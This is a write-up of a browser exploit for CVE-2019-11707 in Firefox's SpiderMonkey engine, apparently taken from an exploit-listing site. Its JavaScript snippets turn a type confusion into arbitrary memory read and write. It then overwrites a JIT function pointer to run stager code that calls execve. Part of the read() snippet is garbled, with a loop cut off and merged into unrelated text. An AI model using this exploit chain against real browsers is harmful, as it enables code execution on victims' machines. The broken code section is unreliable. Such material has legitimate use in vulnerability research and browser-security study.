## https://sploitus.com/exploit?id=D8C392F1-9302-5804-B7A0-353AE14CBE6B
# SpiderMonkey - CVE-2019-11707
Bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820
## Screenshots
## Files
- `exploit.js` - Actual exploit, prepended by saelo's `util.js` & `Int64.js`.
- `stager.js` - Used for creating constants, prepended by saelo's `util.js` & `Int64.js`.
- `stager.py` - Used to assemble instructions using keystone. Output is fed to `stager.js`.
## Exploit Overview
- Use the type confusion to write beyond a typed array buffer (done in `setup()`).
```javascript
const exploit_pack = [
new Uint8Array(0x10),
new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
new Uint8Array(0x10), // Arbitrary RW array
]
```
- TLDR: Write beyond `exploit_pack[0]`'s backing buffer to data pointer field
of `exploit_pack[1]`. Point it to address of data pointer field of `exploit_pack[2]`.
```javascript
// setup()
const v11 = v4.pop();
const addr = v11[11];
v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
```
- Arbitrary RW possible, address can be set as contents of `exploit_pack[1]` which
internally modifies data pointer of `exploit_pack[2]`. Then use `exploit_pack[2]` to
read or write memory.
```javascript
function read(ptr) {
read_addr = new Int64(ptr);
// Change data pointer of exploit_pack[2]
for (var idx=0; idx stager.js` to see how those were
generated.
- Just overwrite the actual JIT function pointer in object structure and replace it with offset.
Call the function with parameters.
```javascript
write(jitGetter, jmpOffset);
stager(
new Int64(59).asDouble(),
new Int64(pathAddr).asDouble(),
new Int64(argvBufferAddr).asDouble(),
new Int64(environBufferAddr).asDouble());
```
- Given the way stager is written, it is easy to do any syscall, with 3 arguments.
[source]: https://ftp.mozilla.org/pub/firefox/releases/66.0.3/
## Super Useful links
- https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
- https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
- https://vigneshsrao.github.io/writeup/
- https://github.com/saelo/jscpwn